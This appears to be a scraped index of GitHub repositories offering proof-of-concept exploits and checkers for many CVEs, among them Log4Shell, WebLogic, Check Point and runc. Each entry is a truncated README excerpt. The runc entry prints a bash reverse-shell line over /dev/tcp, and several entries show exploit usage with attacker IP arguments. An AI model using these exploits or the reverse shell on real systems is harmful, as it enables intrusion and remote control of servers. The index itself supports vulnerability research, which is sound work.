log4shell-poc-lab

Log4Shell POC Demo This repository contains a submodule, clone it with: git clone --recurse-submodules [email protected]:obscuritylabs/log4shell-poc-lab.git Then to start the demo execute: docker compose up To view the exploit creating a file on the victim server, execute: docker compose exe...

weblogic-CVE-2019-2729-POC

weblogic-CVE-2019-2729-POC python3 POC for CVE-2019-2729 WebLogic Deserialization Vulnerability and CVE-2017-10271 amongst others...

CVE-2018-1932X

CVE-2018-1932X Rust Exploit POC for GIGABYTE APP Center v1.05.21 and earlier Just because your target is memory unsafe doesn't mean your exploit has to be! Vulnerabilities used : CVE-2018-19320 - ring0 memcpy-like functionality CVE-2018-19323 - read and write Machine Specific Registers MSRs...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: Proof Of Concept POC usage: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

wp2shell

wp2shell CVE-2026-63030 + CVE-2026-60137+poc This vulnerability is not very easy to exploit. Database command execution command: SELECT GROUPCONCATSCHEMANAME FROM INFORMATIONSCHEMA.SCHEMATA Reference: https://github.com/Icex0/wp2shell-poc However, there is one issue: adding the account password...

CVE-2025-49132_poc

CVE-2025-49132 PoC Improved This is an improved version of the CVE-2025-49132 proof of concept exploit. CVE Information CVE ID : CVE-2025-49132 NVD Reference : https://nvd.nist.gov/vuln/detail/cve-2025-49132 Wiz Database : https://www.wiz.io/vulnerability-database/cve/cve-2025-49132 Original Work...

cve-2026-0013-poc

CVE-2026-0013 Android DocumentsUI Confused Deputy Vulnerability - Security Research Verification Project Important Notice This repository is a derived build repository, affiliated with the original upstream repository. Role| Repository| Description ---|---|--- Main repository|...

CVE-2023-44487-HTTP-2-Rapid-Reset-Exploit-PoC

CVE-2023-44487 - HTTP/2 Rapid Reset Checker PoC Descriptions This main is a Proof of Concept PoC for CVE-2023-44487 , also known as the HTTP/2 Rapid Reset Attack. The vulnerability allows attackers to perform a Denial of Service DoS attack by rapidly sending RSTSTREAM frames over HTTP/2...

CVE-2024-24919

Intro Simple POC Python script that check & leverage Check Point CVE-2024-24919 vulnerability Wrong Check Point; vulnerable to arbitrary file reading. Requirements Python 3 Pip Required Library/Module Install via PIP requests urllib3 tqdm How To Run PS C:\ python CVE-2024-24919.py list.txt...

CVE-2026-22557-Path-Traversal-Ubiquti-UniFi

CVE-2026-22557 Path Traversal Ubiquti UniFi Network Application This repository contains a Go-based proof-of-concept scanner for CVE-2026-22557 targeting the UniFi Network Application. The tool performs a controlled and non-destructive scan against a set of common endpoints and traversal payloads...

CVE-2023-25157-checker

CVE-2023-25157-checker A script, written in golang. POC for CVE-2023-25157 Steps to use 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go Replace with the URL of the target server. Google Dork...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

ivanti-CVE-2024-21887

ivanti-CVE-2024-21887 POC Checker for ivanti CVE-2024-21887 Command injcetion...

cve-2020-24616-poc

cve-2020-24616-poc cve-2020-24616 poc The first poc written by a Java rookie Referenced many JNDI injection Pocs...

CVE-2023-41993

CVE-2023-41993 Exploit PoC This repository contains a Proof of Concept PoC exploit for the CVE-2023-41993 vulnerability. This PoC demonstrates limited read/write primitives based on the PoC released by po6ix. Demo of this PoC can be found here. Please make an issue if you have any questions,...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC Usage: python3 CVE-2023-26256.py -h...

CVE-2024-21413

CVE-2024-21413 This Python script is used to abuse the CVE-2024-21413 coined "MonikerLink" TryHackMe Room: MonikerLink Assumptions This PoC has been created for a lab environment which means the server needs to be configured in a specific setting i.e. TLS authentication is not supported for...

CVE-2018-4878

Metasploit module for CVE-2018-4878 The SWF file is based on the PoC by Michael Gorelik. Copy CVE-2018-4878.swf to data/exploits...

CVE-2025-32463_chwoot

CVE-2025-32463 – sudo chroot "chwoot" PoC This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature. This vulnerability is reported by Rich Mirch @0xm1rch on X @ Stratascale. Original post: Vulnerability...

Poc-CVE-2024-32962-xml-crypto

Poc-CVE-2024-32962-xml-crypto A simulation of an attack exploiting the CVE-2024-32962 vulnerability to forge SAML messages and gain unauthorized permissions Very soon it will become available. Poc...